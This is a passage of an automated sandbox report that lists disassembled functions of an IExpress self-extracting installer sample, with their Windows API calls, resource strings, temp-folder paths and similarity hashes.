Part of subcall function 0021597D: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 002159A8
Part of subcall function 0021597D: SetCurrentDirectoryA.KERNELBASE(?), ref: 002159AF

Strings

Z, xrefs: 0021570A
A:\, xrefs: 002156F4
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 002156AE, 002156B3, 0021583D
msdownld.tmp, xrefs: 002157D3
RUNPROGRAM, xrefs: 002155BD, 00215600
<None>, xrefs: 00215632

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Resource$Directory$Free$AttributesFileFindLoadLocalWindows$Current$AllocCreateDialogDriveErrorIndirectLastLockMessageParamPathSizeofStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 2436801531-559629209
Opcode ID: c21838e4a3ddb3a4ece445f95cfa8871e6b60f1ab7eab92710176d534131d6e3
Instruction ID: 15d907fde564d263e61c931e2f0ca1500665d1f6e2f62a1c1fc8305c10d8a626
Opcode Fuzzy Hash: c21838e4a3ddb3a4ece445f95cfa8871e6b60f1ab7eab92710176d534131d6e3
Instruction Fuzzy Hash: 20811B70A24A25DADB20AF749C99BFA72ED9BF4300F4440E5F586D21D1DF708DE28E51

Function 00214FE0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 121
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0021468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002146A0
Part of subcall function 0021468F: SizeofResource.KERNEL32(00000000,00000000,?,00212D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002146A9
Part of subcall function 0021468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002146C3
Part of subcall function 0021468F: LoadResource.KERNEL32(00000000,00000000,?,00212D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002146CC
Part of subcall function 0021468F: LockResource.KERNEL32(00000000,?,00212D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002146D3
Part of subcall function 0021468F: memcpy_s.MSVCRT ref: 002146E5
Part of subcall function 0021468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 002146EF

FindResourceA.KERNEL32(00000000,CABINET,0000000A), ref: 00214FFE
LoadResource.KERNEL32(00000000,00000000), ref: 00215006
LockResource.KERNEL32(00000000), ref: 0021500D
GetDlgItem.USER32(00000000,00000842), ref: 00215030
ShowWindow.USER32(00000000), ref: 00215037
GetDlgItem.USER32(00000841,00000005), ref: 0021504A
ShowWindow.USER32(00000000), ref: 00215051
FreeResource.KERNEL32(00000000,00000000,00000010,00000000), ref: 00215111
SendMessageA.USER32(00000FA1,00000000,00000000,00000000), ref: 00215159

Strings

*MEMCAB, xrefs: 002150C7
CABINET, xrefs: 00214FE6, 00214FF7

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: 95da7480525a9008663b5a15fedc6ed6355344e95e91beffb58a4506b226cf74
Instruction ID: 1fb1de70226acbdcef7a2e140a5a8f35d253b540003982370583c5441087e4fc
Opcode Fuzzy Hash: 95da7480525a9008663b5a15fedc6ed6355344e95e91beffb58a4506b226cf74
Instruction Fuzzy Hash: 463119B0651312BBD7206B61BDCEFE736DCAB7A754F008024B90DA2191CFB48CE08650

Function 002144B9 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 160
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00214518
MessageBoxA.USER32(?,?,valid,00010010), ref: 00214554
LocalAlloc.KERNEL32(00000040,00000065), ref: 002145A3
LocalAlloc.KERNEL32(00000040,00000065), ref: 002145E3
LocalAlloc.KERNEL32(00000040,00000002), ref: 0021460D
MessageBeep.USER32(00000000), ref: 00214630
MessageBoxA.USER32(?,00000000,valid,00000000), ref: 00214666
LocalFree.KERNEL32(00000000), ref: 0021466F

Part of subcall function 0021681F: GetVersionExA.KERNEL32(?,00000000,00000002), ref: 0021686E
Part of subcall function 0021681F: GetSystemMetrics.USER32(0000004A), ref: 002168A7
Part of subcall function 0021681F: RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 002168CC
Part of subcall function 0021681F: RegQueryValueExA.ADVAPI32(?,00211140,00000000,?,?,?), ref: 002168F4
Part of subcall function 0021681F: RegCloseKey.ADVAPI32(?), ref: 00216902

Strings

valid, xrefs: 00214545, 0021465A
LoadString() Error. Could not load string resource., xrefs: 002144E4

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Local$AllocMessage$BeepCloseFreeLoadMetricsOpenQueryStringSystemValueVersion
String ID: LoadString() Error. Could not load string resource.$valid
API String ID: 3244514340-303183264
Opcode ID: fb2715635dfd91dcf57ee255b8d5fd3ffa72c9ee15a0b029c5c12dca596125fd
Instruction ID: 2aac61020d8b47d141f2a4b5808637fe0b50128d5664242a0135f71d91124b06
Opcode Fuzzy Hash: fb2715635dfd91dcf57ee255b8d5fd3ffa72c9ee15a0b029c5c12dca596125fd
Instruction Fuzzy Hash: 1851147191021AABDB21AF289C48BEA7BE9EF65304F004194FD0DA7241DB319EA5CB90

Function 002153A1 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0021171E: _vsnprintf.MSVCRT ref: 00211750

RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 002153FB
GetFileAttributesA.KERNELBASE(?), ref: 00215402
GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,IXP,00000000,?), ref: 0021541F
DeleteFileA.KERNEL32(?), ref: 0021542B
CreateDirectoryA.KERNEL32(?,00000000), ref: 00215434
CreateDirectoryA.KERNELBASE(?,00000000), ref: 00215452

Strings

IXP%03d.TMP, xrefs: 002153C0
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 002153B7, 002153E1, 0021541E
IXP, xrefs: 00215419

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$IXP$IXP%03d.TMP
API String ID: 1082909758-2659685179
Opcode ID: 4cbe196dd5802cdb9a00131d7f61ac9abf2a5d25e612cd8856800ef8d5c3a93b
Instruction ID: dcc11fe3ce8c23d87c4a7f29d380b462e93cdf4889235ca1874e5908f4f25400
Opcode Fuzzy Hash: 4cbe196dd5802cdb9a00131d7f61ac9abf2a5d25e612cd8856800ef8d5c3a93b
Instruction Fuzzy Hash: 51113471711524A7D3209F22AC4CFEF36ADEFF6321F004065F656D2190CE7489E28AA2

Function 0021468F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002146A0
SizeofResource.KERNEL32(00000000,00000000,?,00212D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002146A9
FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002146C3
LoadResource.KERNEL32(00000000,00000000,?,00212D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002146CC
LockResource.KERNEL32(00000000,?,00212D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002146D3
memcpy_s.MSVCRT ref: 002146E5
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 002146EF

Strings

valid, xrefs: 002146E4
TITLE, xrefs: 0021469D, 002146C0

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID: TITLE$valid
API String ID: 3370778649-1357392868
Opcode ID: 26d9382a14642ca35fc8f9a5730f38d8b92e98e1a266c5d66ff9ce3251e068d1
Instruction ID: 3f779e7f366e8b578c6bc7b33981f7ed80ccfc9880a19d7a9ac132f104b01510
Opcode Fuzzy Hash: 26d9382a14642ca35fc8f9a5730f38d8b92e98e1a266c5d66ff9ce3251e068d1
Instruction Fuzzy Hash: A401D1322412417BE3212BA57C0CFEB3E6CDBEAB62F048114FE4D86180CDB18C9086A2

Function 0021256D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Control\Session Manager,00000000,00020019,?,00000000,?,?,?,00211ED3,00000001,00000000,?,?,00214137,?), ref: 002125B2
RegQueryValueExA.KERNELBASE(?,PendingFileRenameOperations,00000000,00000000,00000000,?,?,00211ED3,00000001,00000000,?,?,00214137,?,00214096), ref: 002125CB
RegCloseKey.KERNELBASE(?,?,00211ED3,00000001,00000000,?,?,00214137,?,00214096), ref: 002125DD
RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Session Manager\FileRenameOperations,00000000,00020019,?,00000000,?,?,?,00211ED3,00000001,00000000,?,?,00214137,?), ref: 002125FF
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,00211ED3,00000001,00000000), ref: 0021261A

Strings

PendingFileRenameOperations, xrefs: 002125C3
System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 002125F5
System\CurrentControlSet\Control\Session Manager, xrefs: 002125A8

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: 21546b3e2abcb2cb04dfcd07d86f9921494ae1afd4d531a92c1806bf8b413e89
Instruction ID: c7cec7a07dd608680322f96d5e6e89352a8a330e404ec72c9a69903bf675b49c
Opcode Fuzzy Hash: 21546b3e2abcb2cb04dfcd07d86f9921494ae1afd4d531a92c1806bf8b413e89
Instruction Fuzzy Hash: 6B118235922229FB9B209B919C4DDFBBEBCDF257A1F504055F808A2041DA704FA8D6A1

Function 00216A60 Relevance: 13.6, APIs: 9, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00217155: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00217182
Part of subcall function 00217155: GetCurrentProcessId.KERNEL32 ref: 00217191
Part of subcall function 00217155: GetCurrentThreadId.KERNEL32 ref: 0021719A
Part of subcall function 00217155: GetTickCount.KERNEL32 ref: 002171A3
Part of subcall function 00217155: QueryPerformanceCounter.KERNEL32(?), ref: 002171B8

GetStartupInfoW.KERNEL32(?,002172B8,00000058), ref: 00216A7F
Sleep.KERNEL32(000003E8), ref: 00216AB4
_amsg_exit.MSVCRT ref: 00216AC9
_initterm.MSVCRT ref: 00216B1D
__IsNonwritableInCurrentImage.LIBCMT ref: 00216B49
exit.KERNELBASE ref: 00216BBF
_ismbblead.MSVCRT ref: 00216BDA

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Current$Time$CountCounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThreadTick_amsg_exit_initterm_ismbbleadexit
String ID:
API String ID: 836923961-0
Opcode ID: 6edfbd9f7f57cf03c628b744f5661e38e5ae2192c1ff4e2dd475a8df085a7b98
Instruction ID: bdc471c579f8e78ced21c65abc3c3d623ce68b633c07eca783bb9e4398f33321
Opcode Fuzzy Hash: 6edfbd9f7f57cf03c628b744f5661e38e5ae2192c1ff4e2dd475a8df085a7b98
Instruction Fuzzy Hash: C841C93197922A9FDB219F68E84D7EE77F4BB75714F24401AE841E3290CFB449E18B80

Function 002158C8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32(00000040,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00215534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 002158E7
CreateFileA.KERNELBASE(00000000,40000000,00000000,00000000,00000001,04000080,00000000,TMP4351$.TMP,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00215534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00215943
LocalFree.KERNEL32(00000000,?,00215534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 0021594D
CloseHandle.KERNEL32(00000000,?,00215534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 0021595C
GetFileAttributesA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00215534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00215963

Strings

TMP4351$.TMP, xrefs: 00215923
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 002158CD, 002158CF, 00215919, 00215962

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: FileLocal$AllocAttributesCloseCreateFreeHandle
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$TMP4351$.TMP
API String ID: 747627703-3104274291
Opcode ID: 8f47e808ce745c31e259e935bd07ab4c362571246b858cc993a48f839c9a6f01
Instruction ID: 12fa79ded507d7f2e7becd7fd32feb4bd2fb21ebdd37caf3e816c9e0e8c4fe96
Opcode Fuzzy Hash: 8f47e808ce745c31e259e935bd07ab4c362571246b858cc993a48f839c9a6f01
Instruction Fuzzy Hash: B4117831621221BBC7201F796C4DBDB7EDDDFA6370B104665F50AD31C1CE7088A18AE0

Function 00213FEF Relevance: 10.6, APIs: 7, Instructions: 97processsynchronizationwindowCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?,?,?,00000000), ref: 00214033
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00214049
GetExitCodeProcess.KERNELBASE(?,?), ref: 0021405C
CloseHandle.KERNEL32(?), ref: 0021409C
CloseHandle.KERNEL32(?), ref: 002140A8
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 002140DC
FormatMessageA.KERNELBASE(00001000,00000000,00000000), ref: 002140E9

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-0
Opcode ID: 9a156749d79e9ae6b154179697916cc8032a06dafe66c1a94179b9bfc1ffea55
Instruction ID: dd01dd99e6d51a2dd391445792ce41e710ca32ebc9816f398b16a671ad23dc94
Opcode Fuzzy Hash: 9a156749d79e9ae6b154179697916cc8032a06dafe66c1a94179b9bfc1ffea55
Instruction Fuzzy Hash: A1318F31651218BBEB20AF65EC4CFEB77B8EBB8710F2041A9F90DA2161CA304DD5CE51

Function 002151E5 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0021468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002146A0
Part of subcall function 0021468F: SizeofResource.KERNEL32(00000000,00000000,?,00212D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002146A9
Part of subcall function 0021468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002146C3
Part of subcall function 0021468F: LoadResource.KERNEL32(00000000,00000000,?,00212D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002146CC
Part of subcall function 0021468F: LockResource.KERNEL32(00000000,?,00212D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002146D3
Part of subcall function 0021468F: memcpy_s.MSVCRT ref: 002146E5
Part of subcall function 0021468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 002146EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00212F4D,?,00000002,00000000), ref: 00215201
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00215250

Part of subcall function 002144B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00214518
Part of subcall function 002144B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00214554

Part of subcall function 00216285: GetLastError.KERNEL32(00215BBC), ref: 00216285

Strings

<None>, xrefs: 00215262
UPROMPT, xrefs: 002151EF, 00215230

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: <None>$UPROMPT
API String ID: 957408736-2980973527
Opcode ID: 411bf58a5ad257f6158e70118dbee3976c3b17dce369713d62deef109362913f
Instruction ID: 6227db1e5e8fb97448fe502e23d7a6ad207da226fa58679c1441b32ae754e3d1
Opcode Fuzzy Hash: 411bf58a5ad257f6158e70118dbee3976c3b17dce369713d62deef109362913f
Instruction Fuzzy Hash: 5011E676261612BBE3246B716C5DBFB61DDDBF9740B108029FB0AD5190DEB98CE04924

Function 00213A3F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 73memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0021468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002146A0
Part of subcall function 0021468F: SizeofResource.KERNEL32(00000000,00000000,?,00212D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002146A9
Part of subcall function 0021468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002146C3
Part of subcall function 0021468F: LoadResource.KERNEL32(00000000,00000000,?,00212D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002146CC
Part of subcall function 0021468F: LockResource.KERNEL32(00000000,?,00212D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002146D3
Part of subcall function 0021468F: memcpy_s.MSVCRT ref: 002146E5
Part of subcall function 0021468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 002146EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00212F64,?,00000002,00000000), ref: 00213A5D
LocalFree.KERNEL32(00000000,00000000,00000010,00000000,00000000), ref: 00213AB3

Part of subcall function 002144B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00214518
Part of subcall function 002144B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00214554

Part of subcall function 00216285: GetLastError.KERNEL32(00215BBC), ref: 00216285

lstrcmpA.KERNEL32(<None>,00000000), ref: 00213AD0
LocalFree.KERNEL32 ref: 00213B13

Part of subcall function 00216517: FindResourceA.KERNEL32(00210000,000007D6,00000005), ref: 0021652A
Part of subcall function 00216517: LoadResource.KERNEL32(00210000,00000000,?,?,00212EE8,00000000,002119E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00216538
Part of subcall function 00216517: DialogBoxIndirectParamA.USER32(00210000,00000000,00000547,002119E0,00000000), ref: 00216557
Part of subcall function 00216517: FreeResource.KERNEL32(00000000,?,?,00212EE8,00000000,002119E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00216560

LocalFree.KERNEL32(00000000,00213100,00000000,00000000), ref: 00213AF4

Strings

LICENSE, xrefs: 00213A46
<None>, xrefs: 00213AC5

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: db38a8b01b3a5b0393357cf05e4f37d5ff7d35598afc5af8cd3250559d614316
Instruction ID: 9e084987fe40a46e3ac8670044d429f4df7d06d4c150ed68087877ec527e2b6b
Opcode Fuzzy Hash: db38a8b01b3a5b0393357cf05e4f37d5ff7d35598afc5af8cd3250559d614316
Instruction Fuzzy Hash: 30118734251201BBD724AF32BC1DFD739FADFF9710B10843EB64AD55A1DE7988A08A64

Function 002152B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65fileCOMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(02F04700,00000080,?,00000000), ref: 002152F2
DeleteFileA.KERNELBASE(02F04700), ref: 002152FA
LocalFree.KERNEL32(02F04700,?,00000000), ref: 00215305
LocalFree.KERNEL32(02F04700), ref: 0021530C
SetCurrentDirectoryA.KERNELBASE(002111FC,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 00215363

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00215334

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: FileFreeLocal$AttributesCurrentDeleteDirectory
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 2833751637-1193786559
Opcode ID: 12cdc41d8605fe9827ab9ec5831f6a37fc2850b32bfaf79766575e3583a87218
Instruction ID: 51873df1f9580376d2e3598955e7843e98c745d84ce603e3e66492b91f86f306
Opcode Fuzzy Hash: 12cdc41d8605fe9827ab9ec5831f6a37fc2850b32bfaf79766575e3583a87218
Instruction Fuzzy Hash: 5121DB31921625DBCB219F20FC8CBE977E0AF74780F1481A9E886531A0CFB05DE8CB81

Function 00211FE1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00020006,0021538C,?,?,0021538C), ref: 00212005
RegDeleteValueA.KERNELBASE(0021538C,wextract_cleanup0,?,?,0021538C), ref: 00212017
RegCloseKey.ADVAPI32(0021538C,?,?,0021538C), ref: 00212020

Strings

wextract_cleanup0, xrefs: 00211FE7, 0021200F
